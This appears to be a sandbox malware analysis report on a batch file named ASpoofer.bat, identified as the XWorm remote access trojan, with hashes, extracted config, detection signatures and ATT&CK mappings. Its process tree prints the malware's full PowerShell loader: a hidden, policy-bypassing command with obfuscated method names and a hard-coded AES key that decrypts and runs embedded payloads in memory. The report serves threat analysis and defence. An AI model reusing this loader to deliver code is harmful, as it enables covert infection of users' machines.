xworm | 410e2db30b4e8a57933ee02c30a1dbbefd1d5572ce30153c0a4db927123df67b

Analysis

max time kernel
91s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-01-2025 20:18

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General

Target

ASpoofer.bat
Size

412KB
MD5

b4072c48624667e139963c777247f52c
SHA1

d5f1a4d22c85458253d4572f9ab89b2a20f31a9c
SHA256

410e2db30b4e8a57933ee02c30a1dbbefd1d5572ce30153c0a4db927123df67b
SHA512

d080e2dfd3189c45cf56dc9e7483c4a7302a204abcb2d17cce93c4c814366ea4cbd44b98e0d887dcfafb7eaef6156b1813eee360201df3ff1e20ad0b34f10867
SSDEEP

12288:oAnKKFTbWZb6pfT0ctJ0CM+8GmsGaFltmFy3:oA5bWZ2dn0C/7iY

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Attributes

install_file
Mason.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4728-15-0x00000231FF030000-0x00000231FF078000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4728	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4728	powershell.exe
4728	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4728	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 868 wrote to memory of 3268	868	cmd.exe	84
PID 868 wrote to memory of 3268	868	cmd.exe	84
PID 3268 wrote to memory of 4944	3268	net.exe	85
PID 3268 wrote to memory of 4944	3268	net.exe	85
PID 868 wrote to memory of 4728	868	cmd.exe	86
PID 868 wrote to memory of 4728	868	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ASpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:868
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4QckMW/d0RHFEz78g/IF+wxPuEC8wYXsS9DpIlDAv2s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('83AsJ46ibSIDFQYQt7U5Lg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $csNtZ=New-Object System.IO.MemoryStream(,$param_var); $fVZlA=New-Object System.IO.MemoryStream; $BjErP=New-Object System.IO.Compression.GZipStream($csNtZ, [IO.Compression.CompressionMode]::Decompress); $BjErP.CopyTo($fVZlA); $BjErP.Dispose(); $csNtZ.Dispose(); $fVZlA.Dispose(); $fVZlA.ToArray();}function execute_function($param_var,$param2_var){ $PtQUF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xBHIV=$PtQUF.EntryPoint; $xBHIV.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ASpoofer.bat';$NjhJG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ASpoofer.bat').Split([Environment]::NewLine);foreach ($PiPhj in $NjhJG) { if ($PiPhj.StartsWith(':: ')) { $IMbBZ=$PiPhj.Substring(3); break; }}$payloads_var=[string[]]$IMbBZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e2qix5le.n5i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4728-0-0x00007FFCD4073000-0x00007FFCD4075000-memory.dmp

Filesize
8KB

Download
memory/4728-10-0x00000231FED70000-0x00000231FED92000-memory.dmp

Filesize
136KB

Download
memory/4728-11-0x00007FFCD4070000-0x00007FFCD4B31000-memory.dmp

Filesize
10.8MB

Download
memory/4728-12-0x00007FFCD4070000-0x00007FFCD4B31000-memory.dmp

Filesize
10.8MB

Download
memory/4728-13-0x00000231FEFC0000-0x00000231FEFC8000-memory.dmp

Filesize
32KB

Download
memory/4728-14-0x00000231FEFD0000-0x00000231FF01E000-memory.dmp

Filesize
312KB

Download
memory/4728-15-0x00000231FF030000-0x00000231FF078000-memory.dmp

Filesize
288KB

Download
memory/4728-16-0x00007FFCD4070000-0x00007FFCD4B31000-memory.dmp

Filesize
10.8MB

Download
memory/4728-19-0x00007FFCD4070000-0x00007FFCD4B31000-memory.dmp

Filesize
10.8MB

Download